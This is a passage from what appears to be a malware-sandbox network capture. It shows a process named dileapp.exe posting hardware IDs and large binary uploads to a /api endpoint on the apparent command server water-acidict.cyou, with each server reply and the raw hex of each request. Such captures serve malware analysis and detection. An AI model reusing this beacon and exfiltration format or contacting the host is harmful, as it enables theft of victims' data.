2024-11-29 22:10:31 UTC	15331	OUT	Data Raw: 2d 2d 49 4d 58 45 34 4b 48 4a 45 5a 33 37 35 54 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 49 4d 58 45 34 4b 48 4a 45 5a 33 37 35 54 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4d 58 45 34 4b 48 4a 45 5a 33 37 35 54 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 49 4d 58 45 34 Data Ascii: --IMXE4KHJEZ375T7Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--IMXE4KHJEZ375T7Content-Disposition: form-data; name="pid"2--IMXE4KHJEZ375T7Content-Disposition: form-data; name="lid"c2CoW0--bandl--IMXE4
2024-11-29 22:10:31 UTC	3019	OUT	Data Raw: 67 39 b2 fd cb d1 0e 65 9d 61 cd b4 aa aa a1 ff 06 ed 3a bc 4a 3a 3b e2 f5 e9 8b 6e 77 18 74 82 a0 b0 d1 ae 4e 72 af 6c 03 bb ef c0 70 76 68 70 6f b8 ab e0 81 89 d2 ce 70 34 95 3f d4 6e 77 97 74 7a df db 4a ab d9 3a a6 45 b3 54 7c 31 23 5d 55 db 3f 35 ab 59 2f 56 9a f4 45 bb 41 ec 02 5f 8c 47 52 99 43 fc b6 3f 53 d6 79 f9 f3 1a 0e ca ab 93 c8 9f 85 77 5e 16 97 be 18 eb 3d 73 d9 32 ab fe 33 c7 83 ce dc 49 e4 3f b3 1b ea ee a4 d7 a3 91 94 7c 88 af f8 cf ec 5e 94 ce 7e 2c e8 c4 3b 69 fc e7 a5 81 e9 5a 24 9a ba e3 0e 7a b3 b9 ed c8 7b 0f b6 d9 b0 b4 ae ef a3 5d ed c6 1f d3 ef f1 ea c5 f6 b4 94 f4 27 ee 0d 47 53 87 0e f1 bf 6d 76 32 b4 bd 6d a4 37 13 bb cf e9 a5 fc 85 8d f5 95 35 7a c0 7d 85 b5 0d 77 54 d1 d3 26 3b d7 a3 37 ae 53 a3 ed b8 29 da 67 13 8b f5 92 Data Ascii: g9ea:J:;nwtNrlpvhpop4?nwtzJ:ET\|1#]U?5Y/VEA_GRC?Syw^=s23I?\|^~,;iZ$z{]'GSmv2m75z}wT&;7S)g
2024-11-29 22:10:32 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d7qjhi2lq9bm3rcgdtqo0pa3kg; expires=Tue, 25-Mar-2025 15:57:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eO2ZwrBM3WsYR7UFVBN%2BZWODHR1GKpM%2FjM0IEcEmhEIm9jrlt5Iu3mL3YN5p0jvpQ4o4kmImY0909gJW8iyiLvtqD77V7eZezXIXeBPxAhMqYd%2F0AYygtlcH70ebj4%2FbrLyCaBE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5eda1ced272aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2405&min_rtt=1847&rtt_var=1091&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19311&delivery_rate=1580942&cwnd=183&unsent_bytes=0&cid=8dfeb21749ad3526&ts=1052&x=0"
2024-11-29 22:10:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49770	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:33 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1E5MVDP3Y6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8736 Host: water-acidict.cyou
2024-11-29 22:10:33 UTC	8736	OUT	Data Raw: 2d 2d 31 45 35 4d 56 44 50 33 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 31 45 35 4d 56 44 50 33 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 45 35 4d 56 44 50 33 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 31 45 35 4d 56 44 50 33 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --1E5MVDP3Y6Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--1E5MVDP3Y6Content-Disposition: form-data; name="pid"2--1E5MVDP3Y6Content-Disposition: form-data; name="lid"c2CoW0--bandl--1E5MVDP3Y6Content-
2024-11-29 22:10:34 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ebrdhoo0g1e59cs70ga3451tcr; expires=Tue, 25-Mar-2025 15:57:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mg3po3O24nDeE7G3WTuvJ%2B%2FvRFwVWpU07Ynlj56BgXuOolJ7lSdoQvcf9ZSo1Sx7SqcCHi%2FmPUB08Bt4m3B2yTq4waXW91FdjXSJs2jNoD9uKh2w7nazxx8VeT%2FbdFlVJSE2WtY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5edb14c1743b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1714&min_rtt=1714&rtt_var=857&sent=8&recv=16&lost=0&retrans=1&sent_bytes=4230&recv_bytes=9669&delivery_rate=161486&cwnd=236&unsent_bytes=0&cid=7e370a2e996b740d&ts=1049&x=0"
2024-11-29 22:10:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49771	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:33 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P4W2BVQLSO4P2D6L4ED User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 305448 Host: water-acidict.cyou
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: 2d 2d 50 34 57 32 42 56 51 4c 53 4f 34 50 32 44 36 4c 34 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 50 34 57 32 42 56 51 4c 53 4f 34 50 32 44 36 4c 34 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 34 57 32 42 56 51 4c 53 4f 34 50 32 44 36 4c 34 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 Data Ascii: --P4W2BVQLSO4P2D6L4EDContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--P4W2BVQLSO4P2D6L4EDContent-Disposition: form-data; name="pid"1--P4W2BVQLSO4P2D6L4EDContent-Disposition: form-data; name="lid"c2CoW0--ba
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: a7 00 e9 8d 85 d3 9a aa 36 4a 91 c0 a1 bb 61 8d 8e 14 42 0c 90 a1 0b 80 3c 93 6c 96 65 61 92 62 39 99 4d 76 6e 86 44 9d 11 d3 1c 49 03 6b 6c 5e 7b 44 20 ca cc 24 86 22 7d 2c 87 3f 18 c9 48 35 0e 7f d7 1e 49 2b ba dc 90 e9 0e ee 31 1f e3 a5 cc 35 b1 52 56 fd 01 b5 53 20 84 1d 1c 01 47 20 34 10 87 1e 53 45 00 e2 4d 98 5c 33 49 43 11 3f 57 ad 49 fd e9 f6 dc 61 2b e8 b2 15 e9 3e 34 b7 89 b7 b5 ce 2f 88 d4 f6 ed 3d c7 d4 c3 95 b6 8e b8 d7 bf 28 8c d3 7a 3e ff 54 f3 69 0c 4f 8a 01 77 b1 be 6b a7 60 db e5 74 1d 11 e3 cd a9 dc 9f a9 3e 1a 10 4e 0c b3 d0 5e 91 1e 3b 6e ad e1 eb 0d 26 77 d9 d6 e6 00 bc 5d 52 a9 bb 71 a7 a8 62 41 0f dc 15 84 cd 27 c0 d1 e0 1e b8 0d 43 a1 8b c5 21 8d 0f dd 83 60 65 f0 43 bb f6 f4 61 16 c7 96 8a 90 8f 08 c3 96 b4 50 f5 69 63 66 ba 81 Data Ascii: 6JaB<leab9MvnDIkl^{D $"},?H5I+15RVS G 4SEM\3IC?WIa+>4/=(z>TiOwk`t>N^;n&w]RqbA'C!`eCaPicf
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: f6 ed 3d 04 7e 5f 9e 2c 2f e9 ab 03 2b 88 85 cb ff 5d 12 83 1f 86 71 06 3e f7 e6 39 ab 0a 59 7b 14 7a 95 26 02 28 18 2d 35 c0 f4 1c 91 b6 38 c0 c8 ba 93 15 76 13 f9 51 66 5a 37 5a 43 1d 8f 07 59 ea 98 ed 73 c8 ac 9e 5c fb 20 8c a5 55 30 3d 68 ce 40 6f e8 0d 81 4b 0f 40 9f 4e 2e b8 1f 71 52 e6 3e df c6 55 34 75 94 d9 7f 6f 96 61 62 98 5d 50 c6 21 40 22 bd 6e 97 01 f7 cd 63 36 07 06 77 01 09 4e a0 68 a6 e6 c8 81 1e 6b ab bc b2 be 6a 5b c3 bd 99 bf f3 02 84 e5 cd 13 97 f4 fd 0d 53 5c 68 2a 4a 6c ea 6d b0 4c 17 d4 98 90 bf 86 c8 b0 97 72 17 1c 77 53 35 a6 50 fa f1 27 37 49 f8 3e b0 dc 41 f9 ad 36 a4 04 13 50 c5 72 5c e2 2e 1f 74 5b c5 6f e5 5f b3 97 cd 8e bb dc ab ac 62 e5 b9 79 f0 47 02 18 84 60 9a d5 d7 ae 45 ac b3 9f 00 77 de b2 a0 88 38 2d 0e c3 35 5f 3f Data Ascii: =~_,/+]q>9Y{z&(-58vQfZ7ZCYs\ U0=h@oK@N.qR>U4uoab]P!@"nc6wNhkj[S\h*JlmLrwS5P'7I>A6Pr\.t[o_byG`Ew8-5_?
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: de a7 6d 26 d6 ea 1c df 9b 46 b9 f4 43 14 9d f5 15 a3 09 97 4e 22 5d 74 d4 71 a5 76 93 91 82 ae 78 74 93 18 dd 18 ec c7 cc 0b 15 c8 7b ca ab 6c c4 2d 61 8e 22 6d 8c 83 79 e4 55 86 6b a7 a2 56 d8 35 0c 48 5f bd ec 78 68 ec 8e fe 23 57 b0 34 fe ca 29 9d 90 5c ae d8 91 d8 e0 8b 6c 3a ab da 4c 49 11 36 29 5b 6d 27 1c 32 c9 4f f4 79 a5 05 3b b2 f7 17 94 b8 b1 75 89 c5 f9 ed a2 9f 98 9a ef 8e 5e d4 60 be 5a 49 e7 f2 20 b6 39 86 b9 f3 ee fd 67 cb a5 6f 89 99 64 01 01 8e db bf 79 ed 58 50 ff 9c d1 6f 93 ae 65 00 79 7b 59 5b 05 58 87 d8 39 51 b9 fd 19 11 b4 65 6b 7a 7b 91 61 b6 a5 5f 87 e2 bd f4 f6 ba 85 a2 52 15 c9 ed ee b8 dc 2d dc d5 76 f3 14 62 18 39 13 78 9d 89 9b e4 88 42 c7 79 c3 fc 24 37 ec 26 dc 38 03 2b 21 bf 2f a0 e2 fd df f5 63 8e ad 3a de ec 45 5d b4 Data Ascii: m&FCN"]tqvxt{l-a"myUkV5H_xh#W4)\l:LI6)[m'2Oy;u^`ZI 9godyXPoey{Y[X9Qekz{a_R-vb9xBy$7&8+!/c:E]
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: 58 68 6b 5c 22 fd c2 ab 3a 6f 39 d1 be ce f2 83 24 73 a2 ed 6c 08 5b 73 7c 5f f1 ee b3 b7 ff 7d ad 91 41 0d 08 0e 5e fd 02 ad 6c a4 4d a3 1f 3f 2f a7 67 96 b3 39 fc 84 56 e2 49 4b 30 7c c7 9b 7a bd 87 03 59 d6 e8 ef a8 92 a5 2b 9c 37 57 b0 37 18 7c 25 81 7c 95 01 e5 f6 22 e1 f0 26 73 a5 93 e7 05 ef 31 fe d2 35 b3 8f b9 d6 51 86 bf 15 a4 f8 02 20 cb 42 5a a1 e7 2f 21 ac 4a 0e 25 b7 6d 36 ab b6 2f 80 3e 05 3a 7b 58 9a 9d fc 2c 3d 58 f9 c8 a0 9b 12 b0 62 13 4d 9a 61 9b ca 69 4d ea 03 da 85 57 b5 58 38 04 4f 24 ea 8a 8c 09 96 76 b7 48 32 82 6b dd 26 db f5 93 09 f2 ad 9d ce af 48 ad 09 25 3b e3 26 c9 43 49 3a 11 9a 1d e5 85 1a a0 c8 6d 30 ad af 50 ba 26 7f d1 c0 5e bf 9f 37 5e 8b 6b 5c aa 74 13 0c 57 cb 4e 5a dc 0f e6 1b 1d 96 53 5a 9e 73 c2 bb 34 b8 c3 a4 19 Data Ascii: Xhk\":o9$sl[s\|_}A^lM?/g9VIK0\|zY+7W7\|%\|"&s15Q BZ/!J%m6/>:{X,=XbMaiMWX8O$vH2k&H%;&CI:m0P&^7^k\tWNZSZs4
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: 55 dc 51 cd ce 24 d0 c6 9a f9 98 c0 dc 6b 57 91 08 f1 4c 31 70 9e 88 d7 b6 78 7a bf 66 3e 0b 5a 69 f8 fb 13 3d 4e 50 38 f1 4d ab ea 25 81 78 bd 19 33 ac a0 dc 6f b5 b4 0e 02 b9 ee 04 07 e1 cd e4 de df 97 3b a3 6b 17 df 38 1f 7c 79 b9 13 f7 e1 e5 65 cd fb b9 ff 74 58 83 e3 02 a8 a3 8e d0 08 d0 bb c3 66 12 70 94 0f 4f 49 b4 2b d2 ae cd 32 90 69 c9 ca 1e a2 23 93 55 12 d3 6c c8 f6 84 01 c0 9a d8 f0 e4 05 02 ed d3 60 2b 2e 58 ee da eb 95 1e 66 7a 43 2b 91 6a e6 d5 f4 d1 f5 73 d6 64 bc e7 c3 d6 3d b3 d9 ec f5 28 18 aa 5d b8 50 68 4e 68 5e 78 55 6b dd 72 df 92 7e 46 88 a8 b8 a8 f0 e6 64 37 26 23 d4 74 d3 3c da d9 04 66 85 02 87 7c 77 bf ec db e0 c6 84 e8 92 dd ef fe 64 ea 6c e3 db 0b f2 2d 87 04 01 a9 df 24 49 69 20 65 d7 9a ac 2f 09 52 1d 36 fd 44 98 9f 4c 60 Data Ascii: UQ$kWL1pxzf>Zi=NP8M%x3o;k8\|yetXfpOI+2i#Ul`+.XfzC+jsd=(]PhNh^xUkr~Fd7&#t<f\|wdl-$Ii e/R6DL`
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: 83 55 6c dc de a9 ad 5c 3a 92 f4 fe 39 72 8c 25 4e 90 e1 12 04 a1 10 f8 71 86 4d 97 19 fb 8e 9d 6f ea 75 30 64 d6 e5 95 94 da ca ed df a6 27 29 7a b5 d5 13 25 9c 04 d5 fd cb 02 8d 0f 68 2c 9e 52 5b 19 93 0f 01 96 4e 82 4f c5 f5 0d 86 1e ec 3b 64 a1 fa cd 47 c1 cf a5 29 16 fd e0 30 8c 90 79 43 e7 03 a8 42 62 c4 da 0f 1c c8 7f 3c 4c 30 f1 f2 3d a2 9e e4 31 6e be 96 b2 c3 d3 fb ae 46 66 da ae c3 c4 63 43 e9 11 fc bb 7f a6 7d 35 8a 3c 22 77 ee 6d b2 e7 d5 14 fa 25 25 57 cc fc 35 21 a4 37 bd e5 59 0e b0 e8 a7 e4 f4 b1 c3 84 27 3d dc b7 79 a5 9a 35 b4 a3 d2 27 6d 32 2f ca fc f6 7e 74 22 80 51 79 a1 d0 30 bb e8 f2 2c 6b cf 79 e5 16 06 11 bb b9 b5 8c 27 bb 0f e7 ac 19 b3 1f bf d3 2d 14 82 39 c7 35 bf 2a 68 5c 0d ab c8 0a bc 7f 29 88 97 09 13 c2 6a 33 17 ad 06 b4 Data Ascii: Ul\:9r%NqMou0d')z%h,R[NO;dG)0yCBb<L0=1nFfcC}5<"wm%%W5!7Y'=y5'm2/~t"Qy0,ky'-95*h\)j3
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: 58 09 c8 61 79 8b ce fe 92 41 e5 7b 86 61 0e c2 4f 94 cc 19 6f 07 8f 64 e8 6b 04 36 05 7f ec f4 c5 01 f3 16 03 6f 3b 96 fc ae 26 62 e1 31 65 e7 05 ef 60 e0 8a 98 fc 57 2b 8a c2 8d 5c de 08 be 43 b8 cb 09 f9 5d c8 4d 28 b2 d5 7c 10 2f 4d 9b 7b 02 2c c5 e8 e1 6e c3 1f 50 ac 21 8b 0e 91 57 ce 82 7e 46 ca f6 20 47 72 c4 3b a8 d7 4b 29 70 9b c9 dc 20 ba 7c 07 6d 57 e0 26 73 65 e2 fe 03 31 e2 f4 a2 97 03 70 53 4c de 2d 97 27 dc e0 40 4e 4c 0d 22 77 df 78 4e d8 8a 20 7b 6c ef 01 2f 21 39 3c da a5 02 bf 0d 9b 9a 4d d2 90 80 7a ff 7a 7f 7b 7b 84 b9 39 5f ee 91 f3 ad ff 19 7f 2f aa f4 c3 df cd da 1b 33 df b9 ae 6c 6a 32 d7 3d e3 ba 00 38 b5 0d 2c ec f3 3c ac f0 2a da 7b 70 af 07 1c 76 f0 6b bc bd 75 49 82 c7 45 a9 1a 39 fb ca aa b6 2c c6 48 69 c7 2a f7 b2 81 f2 1f Data Ascii: XayA{aOodk6o;&b1e`W+\C]M(\|/M{,nP!W~F Gr;K)p \|mW&se1pSL-'@NL"wxN {l/!9<Mzz{{9_/3lj2=8,<{pvkuIE9,Hi
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: df c0 5d 9d 01 04 c2 31 58 7c 69 5b 87 fb d2 ce 8b 0d f4 7b 7f 6f e1 3e 86 bf f5 3d 6a ed d1 13 6c 41 57 87 10 26 13 98 df 64 72 f5 b1 5b 2d 5e 72 54 5d 2b fe 94 4f bf 48 25 12 d8 68 30 f9 ca e9 52 05 46 cf e5 5c f8 db 60 67 21 da 3e f6 86 ab 5c 10 b1 39 92 00 09 68 32 51 90 f2 f6 87 ea 74 bd 61 43 92 fa 6c 66 d8 1e 45 92 bd 78 38 eb d1 05 09 ea 8e 8c 67 f6 95 fa f2 b1 17 46 0f 9c 53 60 d2 0f 64 87 be bf cf 03 73 5d 0d 43 1f c5 fc b5 6d 0d 67 82 00 1c 6b 9f 0a 10 ef 5a 71 a1 ee d5 83 eb 99 6f 67 ea f2 63 72 0b 60 d2 19 74 fb 7d d5 73 5f 3b 0b 3d 0f 5f 36 0f 5f 4f 33 86 11 e7 4d c6 5d f4 08 30 6c 0f 3f 58 d7 f9 80 70 f6 f8 7e fe a7 4f 3e 6d 1e d0 9f e2 57 9b 99 79 6d cd 32 eb ad e3 4e 8d f8 52 ef 84 48 bb 58 23 65 fb b2 8d a8 23 aa 3a ad b6 60 ec 79 5a 7f Data Ascii: ]1X\|i[{o>=jlAW&dr[-^rT]+OH%h0RF\`g!>\9h2QtaClfEx8gFS`ds]CmgkZqogcr`t}s_;=_6_O3M]0l?Xp~O>mWym2NRHX#e#:`yZ
2024-11-29 22:10:33 UTC	15331	OUT	Data Raw: f2 6c 5c 1b 3e 5b 2e b0 ba 99 fc 52 28 ac 77 d3 82 c1 52 d1 34 95 07 f0 b7 ef 70 7b c8 d8 5e 55 ae 5d 99 de 96 ce 6c 74 ef 18 69 ca 4d e4 f6 98 cb d8 d3 31 34 64 3e 78 e6 a8 32 33 f3 e1 17 e3 25 1e 31 25 9a ee cb 3c 55 86 c3 7c c4 b2 bb 64 84 27 2d 46 9b f7 11 7f 7b bf 7a ae b6 6e 7d 3c 3f 23 dc f3 a8 69 b6 cc ea 97 e3 bf a7 9d f5 cd e0 e0 7c d3 d1 27 57 06 fc 6a 3b b7 e6 21 ec e1 ab c0 0e df f3 ee 1e c3 04 12 e9 29 85 5e 93 c4 03 85 e1 4a 4b 7a eb 4b 22 da 86 5b 22 22 e1 c8 de 76 98 54 cb b7 d8 2d ee c2 30 5a 2b 88 91 13 bb 30 8d c5 ec be 82 c9 87 98 d5 14 43 f5 04 3d 55 5b a2 02 7d 72 68 a2 5d 98 ac 22 56 a6 73 9e 48 f8 73 d0 a6 e1 b3 83 2e 2b 7e 8f 47 1b cc 2f 19 f3 40 43 de bc ff 14 40 36 8d f7 e4 7f 45 37 8e 5e 53 ee 57 df 0c 6c c5 56 4f db 77 1a 02 Data Ascii: l\>[.R(wR4p{^U]ltiM14d>x23%1%<U\|d'-F{zn}<?#i\|'Wj;!)^JKzK"[""vT-0Z+0C=U[}rh]"VsHs.+~G/@C@6E7^SWlVOw
2024-11-29 22:10:35 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m2cqcndj1ginro9bq5p3b33dul; expires=Tue, 25-Mar-2025 15:57:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ql39rLAl%2FR%2Fo7GPJznvy9zn3AVyP90mF77C4rnieOSbesv%2FFOY49XB68e1frG89xsP0Gc6cIN%2FBdYBI0lEjSsOKD2s5tRgHPBj6wINcjwwU7TlpNb1ZSyrflnmuaUpoAyakSqS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5edb2398fc47a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1700&rtt_var=850&sent=172&recv=330&lost=0&retrans=1&sent_bytes=4226&recv_bytes=307228&delivery_rate=117010&cwnd=242&unsent_bytes=0&cid=f72b91a554c857b5&ts=2090&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49772	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:36 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MEMXNBYC8Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: water-acidict.cyou
2024-11-29 22:10:36 UTC	15331	OUT	Data Raw: 2d 2d 4d 45 4d 58 4e 42 59 43 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 4d 45 4d 58 4e 42 59 43 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 45 4d 58 4e 42 59 43 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 4d 45 4d 58 4e 42 59 43 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --MEMXNBYC8QContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--MEMXNBYC8QContent-Disposition: form-data; name="pid"3--MEMXNBYC8QContent-Disposition: form-data; name="lid"c2CoW0--bandl--MEMXNBYC8QContent-
2024-11-29 22:10:36 UTC	5058	OUT	Data Raw: 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c Data Ascii: lrQMn 64F6(X&7~`aO@dR<
2024-11-29 22:10:37 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6apr9gofsjd5qco8pm1htoturk; expires=Tue, 25-Mar-2025 15:57:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9N5R1N%2Ffdb%2BurKiKxkIYoQBRc78rqBm3UnjVYh5MsOFV2UIl0u6kd2L3riV6%2FCoMjgiAesW7VTNX8aa4TgKee%2BaOwgfPX4%2FOD9hlkn%2BqhmaZMflGMyMesNOYs5lVjFtpXNjZ%2F0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: 